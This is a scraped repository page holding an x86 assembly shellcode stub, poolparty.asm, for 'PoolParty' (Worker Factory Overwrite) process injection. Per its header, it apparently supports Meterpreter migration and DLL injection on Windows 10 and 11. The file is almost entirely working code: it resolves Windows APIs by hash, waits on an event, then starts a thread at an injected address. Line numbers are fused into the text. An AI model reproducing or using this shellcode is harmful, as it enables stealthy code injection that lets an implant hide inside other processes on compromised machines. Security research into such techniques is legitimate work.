Path: blob/master/external/source/shellcode/windows/x86/src/migrate/poolparty.asm
28832 views
;-----------------------------------------------------------------------------;1; Author: Muzaffer Umut ŞAHİN (mailatmayinlutfen[at]gmail[dot]com)2; Compatible: Windows 11, 103; Architecture: x864; Version: 0.1 (Jan 2026)5; Size: 206 bytes6; Build: >build.py poolparty7;-----------------------------------------------------------------------------;89; Stub helper for pool-party injection.1011;typedef struct _POOLPARTYCTX12;{13; union14; {15; LPVOID lpStartAddress;16; BYTE bPadding1[8];17; } s;18; union19; {20; LPVOID lpParameter;21; BYTE bPadding2[8];22; } p;23; union24; {25; LPVOID hEventTrigger;26; BYTE bPadding2[8];27; } e;28;29;} POOLPARTYCTX, * LPPOOLPARTYCTX;30; Description:31; This stub is executed during the Meterpreter migration and DLL Injection. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode,32; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger during migration is mandatory because33; we need to wait the ok from the previous Meterpreter to continue the execution. with other techniques (RemoteThread and APC)34; We are starting the process in SUSPENDED mode and then Resuming it, here we need to wait for an event.35; This shellcode is done to work with multiple PoolParty variants.36; Supported Variants:37; - Worker Factory Overwrite3839[BITS 32]4041push ebp42push ebx43push edi44push esi ; save registers45mov esi,esp46cld47jmp _parameters48_main:49pop ebp ; get block api in ebp and POOLPARTYCTX in ebx50push -1 ; dwMilliSeconds = INFINTE51push dword [ebx+16] ; hEventTrigger52push 0x601D8708 ; hash("kernel32.dll","WaitForSingleObject")53call ebp ; WaitForSingleObject(hEventTrigger, INFINITE);54xor edi,edi ; Clear edi55push edi ; lpThreadId56push edi ; dwCreationFlags57push dword [ebx+8] ; lpParameter58push dword [ebx] ; lpStartAddress59push edi ; dwStackSize60push edi ; lpThreadAttributes61push 0x160D6838 ; hash("kernel32.dll","CreateThread")62call ebp ; CreateThread(NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL);63restore:64mov esp,esi ; restore stack65pop esi66pop edi67pop ebx68pop ebp ; restore registers69ret7071get_blockapi:72call _main73%include "./../block/block_api.asm"7475_cb_parameters:76pop ebx77call get_blockapi7879_parameters:80call _cb_parameters818283